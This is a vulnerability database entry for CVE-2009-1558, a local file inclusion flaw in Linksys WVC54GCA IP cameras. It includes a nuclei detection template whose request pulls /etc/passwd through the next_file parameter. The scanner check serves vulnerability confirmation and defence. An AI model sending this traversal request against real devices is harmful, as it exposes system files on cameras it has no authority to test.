HexBrain

Browse / CVEs / CVE-2009-1558

CVE-2009-1558· cisco / wvc54gca· CWE-22

Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion

highseverity
7.8CVSS score
29.8%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.

Impact

An attacker can exploit this vulnerability to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.

Fix

Apply the latest firmware update provided by Cisco to fix the local file inclusion vulnerability.

How to confirm it

Send: GET {{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2009-1558 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2009-1558

info:
  name: Cisco Linksys WVC54GCA 1.00R22/1.00R24 - Local File Inclusion
  author: daffainfo
  severity: high
  description: Cisco Linksys WVC54GCA 1.00R22/1.00R24 is susceptible to local file inclusion in adm/file.cgi because it allows remote attackers to read arbitrary files via a %2e. (encoded dot dot) or an absolute pathname in the next_file parameter.
  impact: |
    An attacker can exploit this vulnerability to read sensitive files on the device, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest firmware update provided by Cisco to fix the local file inclusion vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/32954
    - http://www.vupen.com/english/advisories/2009/1173
    - http://www.gnucitizen.org/blog/hacking-linksys-ip-cameras-pt-3/
    - https://nvd.nist.gov/vuln/detail/CVE-2009-1558
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/50231
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2009-1558
    cwe-id: CWE-22
    epss-score: 0.29821
    epss-percentile: 0.98216
    cpe: cpe:2.3:h:cisco:wvc54gca:1.00r22:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: cisco
    product: wvc54gca
  tags: cve2009,cve,iot,linksys,camera,traversal,lfi,cisco,firmware,edb,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/adm/file.cgi?next_file=%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from